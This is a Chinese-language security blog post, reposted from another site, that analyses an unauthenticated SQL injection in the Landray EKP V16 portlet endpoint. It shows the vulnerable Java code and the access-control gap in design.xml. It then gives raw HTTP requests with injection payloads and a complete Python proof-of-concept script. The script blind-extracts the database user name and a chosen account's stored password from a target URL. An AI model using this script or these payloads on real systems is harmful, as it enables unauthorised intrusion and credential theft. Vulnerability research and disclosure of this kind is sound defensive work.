蓝凌EKP V16 未授权SQL注入漏洞分析

admin 2024年12月24日10:27:56评论105 views字数 8386阅读27分57秒阅读模式

本地测试环境版本:V16.0.6.R.20220729

漏洞分析

漏洞路径在:/fssc/common/fssc_common_portlet/fsscCommonPortlet.do,对应的Action为FsscCommonPortletAction,在其getICareByFdId方法中存在注入漏洞:

public ActionForward getICareByFdId(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {        TimeCounter.logCurrentTime("Action-save", true, this.getClass());        KmssMessages messages = new KmssMessages();        try {            if (!"POST".equals(request.getMethod())) {                throw new UnexpectedRequestException();            }            StringBuilder sql = new StringBuilder();            sql.append("select fdNum,docSubject,fdName,createTime,fdStatus,IsFollow from " + FsscCommonICare.class.getName() + "  where 1 = 1  and  IsFollow = '1' and docCreator = '" + UserUtil.getUser().getFdId() + "'");            String fdNum = request.getParameter("fdNum");            if (StringUtil.isNotNull(fdNum)) {                sql.append(" and fdNum ='" + fdNum + "'");            }            Query query = this.getCommonICareServiceImp(request).getBaseDao().getHibernateSession().createQuery(sql.toString());            List<Object[]> list = query.list();            ......    }

fdNum参数可控,很明显的SQL注入。在WEB-INF/KmssConfig/fssc/common/design.xml文件中定义了/fssc/common/路径下的权限访问:

<?xml version="1.0" encoding="UTF-8"?><configs     xsi:schemaLocation="http://www.example.org/design-config ../../design.xsd "     xmlns="http://www.example.org/design-config"     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">    <module         urlPrefix="/fssc/common/"         messageKey="fssc-common:module.fssc.common"         defaultValidator="true">        <roles></roles>        <request             path="tree.jsp*"             defaultValidator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)"/>        <request            path="fssc_common_transfer_field/fsscCommonTransferField.do*"             validatorParameter="recid=fdId,model=com.landray.kmss.fssc.common.model.FsscCommonTransferField"             defaultValidator="roleValidator(role=ROLE_FSSCCOMMON_DEFAULT)">            <query                 queryString="method=edit|update"                 validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)"/>            <query                 queryString="method=delete|deleteall"                 validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)"/>            <query                 queryString="method=view"                 validator="roleValidator(role=ROLE_FSSCCOMMON_DEFAULT)"/>            <query                 queryString="method=updateallSs"                 validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)"/>            <query                 queryString="method=updateSs|openSs"                 validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)&amp;[roleValidator(role=ROLE_FSSCCOMMON_DEFAULT)]"/>            <query                 queryString="method=updateallS"                 validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)"/>            <query                 queryString="method=updateS|openS"                 validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)&amp;[roleValidator(role=ROLE_FSSCCOMMON_DEFAULT)]"/>            <query                 queryString="method=updateallSss"                 validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)"/>            <query                 queryString="method=updateSss|openSss"                 validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)&amp;[roleValidator(role=ROLE_FSSCCOMMON_DEFAULT)]"/>        </request>        <request             path="fssc_common_transfer_log/fsscCommonTransferLog.do*"             validatorParameter="recid=fdId,model=com.landray.kmss.fssc.common.model.FsscCommonTransferLog"             defaultValidator="roleValidator(role=ROLE_FSSCCOMMON_DEFAULT)">            <query                 queryString="method=edit|update"                 validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)"/>            <query                 queryString="method=delete|deleteall"                 validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)"/>            <query                 queryString="method=view"                 validator="roleValidator(role=ROLE_FSSCCOMMON_DEFAULT)"/>        </request>    </module>    <profileConfig         key="fssc/common"         messageKey="{fssc-common:module.fssc.common}"         url="/sys/profile/moduleindex.jsp?nav=/fssc/common/tree.jsp"         icon="km_comminfo"         description="{fssc-common:module.fssc.common.description}"/></configs>

正常情况下,访问/fssc/common/路径下的所有action,validator都会为true,即未授权访问,在上面的design.xml配置文件中,只对/fssc/common/的如下路径做了权限控制:

tree.jsp*
fssc_common_transfer_field/fsscCommonTransferField.do*
fssc_common_transfer_log/fsscCommonTransferLog.do*

而漏洞触发路径/fssc/common/fssc_common_portlet/fsscCommonPortlet.do并未存在于上述限制路径,所以可直接未授权访问。

漏洞复现

step 1

访问save方法,填充一下数据库,数据包如下:

POST /ekp/fssc/common/fssc_common_portlet/fsscCommonPortlet.do HTTP/1.1
Host: 
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

method=saveICare&fdId=&fdNum=1&docSubject=1&fdName=1&createTime=1&fdStatus=1

蓝凌EKP V16 未授权SQL注入漏洞分析

step 2

验证存在SQL注入漏洞

  • fdNum=asdasd'+or+'1'='2
  • fdNum=asdasd'+or+'1'='1
POST /ekp/fssc/common/fssc_common_portlet/fsscCommonPortlet.do HTTP/1.1
Host: 
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

method=getICareByFdId&fdNum=asdasd'+or+'1'='1&ordertype=down

蓝凌EKP V16 未授权SQL注入漏洞分析

POC脚本如下:(本地测试环境是MSSQL,Mysql or Oracle自行修改脚本)

import argparseimport requestsheader = {    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"}def exploit_user(url,db_user):    global header    user_name = ""    for i in range(1, 20):        low = 1        top = 255        mid = (low + top) // 2        while low < top:            send_data = {                "method": "getICareByFdId",                "ordertype": "down",                "fdNum": "aNsSl' or ascii(substring((user_name()),{},1)) < {} and '1'='1".format(                    i, mid)            }            res = requests.post(url, data=send_data, headers=header)            if "docSubject" in res.text:                top = mid            else:                low = mid + 1            mid = (top + low) // 2        if mid <= 1 or mid >= 254:            break        user_name = user_name + chr(mid - 1)        print("[+]user_name:{}".format(user_name))        print("�33[F", end="")    print("[+]user_name:{}".format(user_name))def exploit(url,username):    global header    password_len = 32    password = ""    for i in range(1,password_len+1):        low = 1        top = 255        mid = (low + top) // 2        while low < top:            send_data = {                "method": "getICareByFdId",                "ordertype": "down",                "fdNum": "aNsSl' or ascii(substring((select fdPassword from com.landray.kmss.sys.organization.model.SysOrgPerson where fdLoginName='{}'),{},1)) < {} and '1'='1".format(                    username,i, mid)            }            res = requests.post(url,data=send_data,headers=header)            if "docSubject" in res.text:                top = mid            else:                low = mid + 1            mid = (top + low) // 2        password = password + chr(mid-1)        print("[+]password:{}".format(password))        print("�33[F",end="")    print("[+]password:{}".format(password))def scan_vuln(url,username,db_user):    global header    req_url = url.strip("/") + "/fssc/common/fssc_common_portlet/fsscCommonPortlet.do"    step_data = {        "method":"saveICare",        "fdId:"","        "fdNum":"1",        "docSubject":"1",        "fdName":"test",        "createTime":"1",        "fdStatus":"1"    }    try:        req1 = requests.post(req_url,data=step_data,headers=header)        if req1.status_code == 200 and "result" in req1.text:            print("[+]Vuln exist,start inject password:")            if db_user == "check":                exploit_user(req_url,db_user)            else:                exploit(req_url,username)        else:            print("[-]Vuln not exist.")            exit(0)    except:        print("[-]request error.")        exit(0)        passdef main():    parser = argparse.ArgumentParser(description="Process command line arguments")    parser.add_argument('-u', '--url', required=True, help='Target URL')    parser.add_argument('-db_user', '--db_user', required=False, help='db_user')    parser.add_argument('-U', '--username', required=False, help='Username argument')    args = parser.parse_args()    url = args.url    db_user = args.db_user    username = args.username    scan_vuln(url, username, db_user)if __name__ == '__main__':    main()
来源:https://xz.aliyun.com/  感谢【co_w**** /

原文始发于微信公众号(船山信安):蓝凌EKP V16 未授权SQL注入漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月24日10:27:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   蓝凌EKP V16 未授权SQL注入漏洞分析https://cn-sec.com/archives/3545367.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息